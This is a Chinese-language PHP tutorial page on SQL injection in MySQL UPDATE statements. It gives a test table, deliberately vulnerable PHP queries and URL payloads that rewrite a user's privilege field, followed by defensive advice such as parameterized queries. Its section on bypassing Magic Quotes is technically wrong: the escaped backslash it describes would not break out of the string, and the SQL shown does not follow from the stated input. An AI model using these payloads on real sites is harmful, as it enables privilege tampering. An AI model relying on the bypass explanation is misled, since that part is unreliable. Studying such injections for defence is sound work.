首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
您现在的位置: 程式碼之家 >> 編程語言 >  >> 網頁程式設計 >> PHP 程式設計 >> PHP 相關知識

MySQL + PHP UPDATE SQL 注入兩種常見模式分析

     編輯:PHP 相關知識

UPDATE 語句 SQL 注入兩大模式實測

針對 PHP + MySQL 環境,分析 UPDATE 語句中變數未加引號與加引號兩種情況的注入利用方式,並驗證 GPC (Magic Quotes) 開啟時的繞過技巧。

測試環境

  • OS:Windows XP SP2
  • PHP:4.3.10
  • MySQL:4.1.9
  • Apache:1.3.33

資料表結構

CREATE TABLE `userinfo` (
  `groudid` varchar(12) NOT NULL default '1',
  `user` varchar(12) NOT NULL default 'heige',
  `pass` varchar(122) NOT NULL default '123456'
) ENGINE=MyISAM DEFAULT CHARSET=latin1;

INSERT INTO `userinfo` VALUES ('2','heige','123456');

目標:透過注入修改 groudid(權限等級)。

模式一:變數未加引號 [MOD1]

<?php
$sql = "update userinfo set pass=$p where user='heige'"; // $p 無引號
?>

Payload:https://target/test1.php?p=123456,groudid=1
執行 SQL:update userinfo set pass=123456,groudid=1 where user='heige'
結果:groudid 成功從 2 改為 1。
結論:無引號時,直接附加 ,欄位=值 即可任意修改其他欄位。

模式二:變數加單引號 [MOD2]

<?php
$sql = "update userinfo set pass='$p' where user='heige'"; // $p 有單引號
?>

嘗試 Payload:123456',groudid='1(GPC 開啟時單引號被轉義為 \')
執行 SQL:update userinfo set pass='123456\',groudid=\'1' where user='heige'
結果:groudid 未修改,pass 變成 123456',groudid='1。

繞過 GPC 的關鍵技巧

MySQL 允許使用 \ 作為字串結尾的跳脫字元。若輸入 123456\,GPC 轉義後變 123456\\,MySQL 解析為字串 123456\(反斜線被吃掉),導致後續單引號「脫離」字串界限:

update userinfo set pass='123456\'',groudid='1' where user='heige'

實際 MySQL 解析為:pass='123456'',groudid='1' 生效!

完整利用流程 (GPC=On)

  1. 提交 p=123456\ 閉合字串(GPC 變 123456\\)。
  2. MySQL 讀為 pass='123456\',下一個單引號成為 SQL 語法一部分。
  3. 接著附加 ,groudid=1 即可修改欄位。

防禦建議

  1. 參數化查詢:使用 mysqli_prepare / PDO::prepare,徹底分離程式碼與資料。
  2. 輸入驗證:嚴格限制欄位型別、長度、格式(如 groudid 僅允許數字)。
  3. 最小權限:資料庫帳號僅授予必要權限(Web 應用不應有 DROP/ALTER)。
  4. 關閉 Magic Quotes:PHP 5.4+ 已移除,舊版應在 php.ini 設 magic_quotes_gpc=Off 並統一用 mysqli_real_escape_string。
  5. WAF/日誌稽核:部署 ModSecurity 等規則攔截可疑 UPDATE 注入模式。
  1. 上一篇文章:
  2. 下一篇文章:
Copyright © 程式碼之家 All Rights Reserved